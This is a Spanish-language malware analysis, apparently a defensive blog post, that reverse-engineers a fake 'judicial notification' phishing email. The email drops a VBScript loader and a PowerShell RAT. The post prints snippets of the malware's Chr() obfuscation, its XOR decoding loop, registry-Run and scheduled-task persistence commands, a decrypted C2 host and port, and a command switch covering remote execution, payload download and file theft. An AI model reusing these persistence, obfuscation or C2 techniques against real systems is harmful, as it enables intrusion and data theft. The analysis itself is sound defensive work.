Malware "NOTIFICACIÓN JUDICIAL": ingeniería inversa de un RAT

1El correo: el anzuelo

El mensaje suplanta un remitente oficial ([email protected]) y usa el miedo como palanca: un "documento judicial" que te empuja a abrir el adjunto sin pensar. Llega con copia oculta (BCC) a muchas víctimas a la vez.

2La cadena de infección

El archivo .vbs pesa 1,4 MB y está lleno de funciones basura para despistar. Debajo de ese ruido hay un dropper multi-etapa:

De un correo diseñado para asustar a un equipo bajo control total del atacante.

3El VBScript: camuflaje y payload real

El archivo abre con On Error Resume Next (ignora todo error) y cientos de funciones inútiles. Entre ellas, el código real crea los objetos del sistema con nombres armados por Chr() para evadir antivirus, y fija una clave de descifrado:

' nombres construidos con Chr() para evadir deteccion
Set fso   = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
tempDir     = shell.ExpandEnvironmentStrings("%TEMP%")
claveXor    = "8YXS8ZHMk40vj5"   ' clave para descifrar el PowerShell oculto

El PowerShell de la siguiente etapa está escondido como 57.159 números en un arreglo, que se descifran con XOR carácter a carácter:

For i = 0 To 57158
    texto = texto & Chr( arreglo(i) Xor Asc(Mid(claveXor, (i Mod Len(claveXor)) + 1, 1)) )
Next
' -> el resultado es un script PowerShell completo

4Persistencia: se queda para siempre

Antes de ejecutar el payload, el .vbs se ancla al arranque de Windows por dos vías (reconstruido a partir de las llamadas Chr()):

' 1) Clave de registro Run
shell.RegWrite "HKCU\...\CurrentVersion\Run\SystemGuardRuntime", _
               "wscript.exe //B ""%APPDATA%\System\Temp\SearchProtocol*.vbs"""

' 2) Tarea programada, al iniciar sesion, con privilegio maximo
shell.Run "schtasks /create /tn ""WindowsUpdate"" /sc onlogon /rl HIGHEST " & _
          "/tr ""wscript.exe //B ...SearchProtocol*.vbs"""

5El RAT y su servidor de mando

La etapa final es un RAT escrito en PowerShell que se disfraza de "agente de telemetría". Su configuración venía cifrada (Base64 + XOR con la clave Ex4KNmjdmRM0iOvn). Al descifrarla aparece el mando y control real:

# configuracion descifrada del RAT
C2 host = c2nuevpoder.kozow.com
C2 port = 7575
Key     = ITMonitor_2024_SecureKey
Canal   = http://c2nuevpoder.kozow.com:7575

6Qué puede hacer el atacante

El RAT recibe órdenes del C2. Su bloque de comandos define exactamente qué puede hacer:

switch ($comando) {
    'Ex'  { # ejecutar cualquier PowerShell -> control total }
    'Sc'  { # descargar y ejecutar mas malware }
    'SS'  { # captura de pantalla y enviarla al C2 }
    'DLF' { # robar archivos de Documentos y Descargas }
    'AW'  { # reportar SO, antivirus, CPU, RAM, equipo }
    'Cl'  { # cerrar / reiniciar la instancia }
}

7Indicadores de compromiso (IOCs)

Para que la comunidad y los equipos de seguridad puedan bloquearlo:

8¿Afecta a Mac o Linux?

No. Este malware solo se ejecuta en Windows. Todo su código depende de componentes que solo existen ahí: el intérprete de VBScript (wscript.exe), powershell.exe, el registro HKCU, el programador de tareas (schtasks) y las rutas %TEMP% / %APPDATA%. macOS y Linux no tienen esos componentes ni interpretan VBScript de forma nativa.

9Cómo protegerte y limpiar

Preparé una herramienta gratuita para Windows que escanea, elimina y previene este malware (bloquea el C2 en hosts y Firewall, y hace que los .vbs se abran en Bloc de notas en vez de ejecutarse). La descargas abajo.

10A quién reportar (Colombia)

Descargas

Descarga ambos archivos en la misma carpeta (Windows) y ejecuta LIMPIAR-VIRUS.bat. El .bat no funciona sin el .ps1 al lado.

Análisis por Ing. Jhonatan Ortiz Cabezas · jhonacode.com · con fines defensivos.